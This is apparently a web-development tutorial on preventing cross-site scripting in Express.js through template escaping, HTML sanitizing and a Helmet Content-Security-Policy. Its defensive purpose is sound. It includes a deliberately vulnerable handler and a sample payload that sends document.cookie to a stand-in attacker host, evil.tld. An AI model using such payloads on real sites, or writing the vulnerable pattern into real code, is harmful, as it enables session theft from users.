Skip to content
Express.js ex security 5 min read

Preventing XSS

Cross-site scripting (XSS) happens when attacker-controlled data is rendered into a page as executable markup, letting it run in the browser of every visitor who views it. In an Express app the data usually arrives through query strings, form bodies, or records pulled from your database — anywhere user input flows back out to HTML. The defense is layered: escape on output, sanitize any HTML you intentionally store, and add a Content-Security-Policy so a single bug does not become a full compromise. None of these layers is optional, because each one catches what the others miss.

Stored vs reflected XSS

The two classic flavors differ in where the malicious payload lives, which changes both the blast radius and the fix.

TypeWhere the payload livesTriggerTypical Express source
ReflectedIn the request itself (URL, form field)Victim clicks a crafted linkreq.query / req.body echoed into the response
StoredPersisted in your databaseAny user who loads the affected pageA comment, profile bio, or product review
DOM-basedClient-side JS reads inputBrowser code writes to the DOMFront-end framework, not the server

Reflected XSS bounces a value straight back. A handler that does this is vulnerable:

// VULNERABLE — never interpolate raw input into HTML
app.get("/search", (req, res) => {
  res.send(`<h1>Results for ${req.query.q}</h1>`);
});

A request to /search?q=<script>fetch('https://evil.tld?c='+document.cookie)</script> executes that script in the victim’s session. Stored XSS is worse: the same payload saved into a comments table runs for everyone who later views the thread, with no crafted link required.

Escaping template output

The single most important rule is to escape on output, in the template, every time. Modern view engines do this automatically, so the durable fix is to stop building HTML with string concatenation and render through a template instead. EJS escapes with <%= %> and only emits raw HTML with the deliberately ugly <%- %>.

const express = require("express");
const app = express();

app.set("view engine", "ejs");

app.get("/search", (req, res) => {
  res.render("search", { q: req.query.q }); // value escaped in the view
});
<!-- views/search.ejs -->
<h1>Results for <%= q %></h1>

Now the same attack payload is rendered as inert text rather than a tag.

Output (rendered HTML):

<h1>Results for &lt;script&gt;fetch(&#39;https://evil.tld?c=&#39;+document.cookie)&lt;/script&gt;</h1>

The angle brackets become entities, so the browser displays the text instead of running it. When you genuinely need to return data as JSON for a client framework to render, use res.json() — it sets Content-Type: application/json, which browsers will not execute as a document.

The escaping context matters. HTML-entity escaping protects text content, but a value placed inside an href, an onclick, or a <script> block needs URL or JavaScript escaping instead. Never drop user input into a javascript: URL or an inline event handler.

Sanitizing stored HTML

Some features must accept real HTML — a rich-text comment editor, for example. You cannot escape that markup or the formatting disappears, so instead you sanitize: parse the HTML and strip every tag, attribute, and URL scheme not on an allowlist. Do this with sanitize-html at the moment you persist the data, then store the cleaned result.

npm install sanitize-html
const express = require("express");
const sanitizeHtml = require("sanitize-html");

const app = express();
app.use(express.json());

const clean = (dirty) =>
  sanitizeHtml(dirty, {
    allowedTags: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li"],
    allowedAttributes: { a: ["href"] },
    allowedSchemes: ["http", "https", "mailto"] // blocks javascript:
  });

app.post("/comments", async (req, res) => {
  const safeBody = clean(req.body.body);
  const comment = await db.comments.insert({ body: safeBody });
  res.status(201).json(comment);
});

Output (a hostile comment after sanitizing):

input:  <p onclick="steal()">Hi <a href="javascript:alert(1)">x</a><script>evil()</script></p>
stored: <p>Hi <a>x</a></p>

The <script> is removed, the onclick attribute is dropped, and the javascript: href is stripped because its scheme is not allowed. Sanitize on write so the database only ever holds trusted markup, and still escape any other fields (usernames, titles) that are not meant to contain HTML.

A strict CSP via Helmet

Escaping and sanitization are your primary defenses, but a Content-Security-Policy is the safety net that contains the damage when one of them is bypassed. CSP tells the browser exactly which origins may supply scripts; an injected <script> from an attacker is simply never executed. Helmet ships a strict default and lets you tune it.

const helmet = require("helmet");

app.use(
  helmet({
    contentSecurityPolicy: {
      useDefaults: true,
      directives: {
        "default-src": ["'self'"],
        "script-src": ["'self'"], // no inline scripts, no 'unsafe-inline'
        "object-src": ["'none'"],
        "base-uri": ["'self'"],
        "frame-ancestors": ["'none'"]
      }
    }
  })
);

The key is to never add 'unsafe-inline' to script-src — that single token re-enables exactly the inline-script vector CSP exists to block. If you must run inline scripts, attach a per-request nonce instead:

const crypto = require("crypto");

app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString("base64");
  next();
});

app.use((req, res, next) =>
  helmet.contentSecurityPolicy({
    useDefaults: true,
    directives: {
      "script-src": ["'self'", `'nonce-${res.locals.nonce}'`]
    }
  })(req, res, next)
);

Only <script nonce="..."> tags whose value matches the freshly generated nonce will run. Express 5 changes routing internals but not middleware registration, so every example here works on both 4.x and 5.x.

Best Practices

  • Escape on output in every template (<%= %> in EJS); never build HTML with string concatenation of user input.
  • Use res.json() for API data so values are never parsed as an executable document.
  • Sanitize rich HTML with an allowlist at write time, and block javascript: and data: URL schemes.
  • Deploy a strict CSP via Helmet and refuse to add 'unsafe-inline'; use nonces or hashes for genuine inline scripts.
  • Set cookies httpOnly so a script injected despite your defenses cannot read the session token.
  • Treat input validation, output escaping, and CSP as independent layers — rely on all three, never just one.
Last updated June 14, 2026
Was this helpful?